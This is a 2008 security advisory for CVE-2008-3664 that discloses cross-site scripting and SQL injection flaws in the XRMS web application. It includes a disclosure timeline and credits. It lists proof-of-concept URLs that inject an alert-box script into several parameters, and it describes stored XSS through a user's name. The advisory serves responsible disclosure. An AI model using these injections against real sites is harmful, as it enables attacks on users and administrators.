Multiple Cross Site Scripting (XSS) and SQL injection Vulnerabilities in XRMS, CVE-2008-3664 References http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3664 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-3664 http://xrms.sourceforge.net Description XRMS is a web-based application for managing business entities such as employees, customers, contacts, activities with those contacts, etc. The application is vulnerable to simple Cross Site Scripting, which can be used for several isues Example Assuming XRMS is installed on http://localhost/xrms/, anybody could inject JavaScript with: http://localhost/xrms/login.php?target="><script>alert(1);</script> http://localhost/xrms/activities/some.php?title="><script>alert(1);</scr ipt> http://localhost/xrms/companies/some.php?company_name="><script>alert(1) ;</script> http://localhost/xrms/contacts/some.php?last_name="><script>alert(1);</s cript> http://localhost/xrms/campaigns/some.php?campaign_title="><script>alert( 1);</script> http://localhost/xrms/opportunities/some.php?opportunity_title="><script >alert(1);</script> http://localhost/xrms/cases/some.php?case_title="><script>alert(1);</scr ipt> http://localhost/xrms/files/some.php?file_id="><script>alert(1);</script > http://localhost/xrms/reports/custom/mileage.php?starting="><script>aler t(1);</script> ... A user could change their real name to <script>alert(1)</script>; will be executed when the administrator looks at user list A user could edit name/email of any user using SQL injection vulnerbility in admin/users/self-2.php Disclosure Timeline 2008-08-07 Vendor contacted 2008-09-04 Advisory published CVE Information The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-XXXX to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. Credits and copyright This vulnerability was discovered by Fabian Fingerle (published with help from Hanno Boeck). This vulnerability relate to CVE-2008-1129 It's licensed under the creative commons attribution license. Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de -- _GPG_ 3D17 CAC8 1955 1908 65ED 5C51 FDA3 6A09 AB41 AB85 _chaos events near stuttgart_ www.datensalat.eu -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) iEYEARECAAYFAki/JiQACgkQ/aNqCatBq4VYIwCcDgXe/yqDtZg+Y4oW4bvYw1xx Bf0AnRMY7iHa1tSo3EYUdw7eOmolWrSb =R12c -----END PGP SIGNATURE-----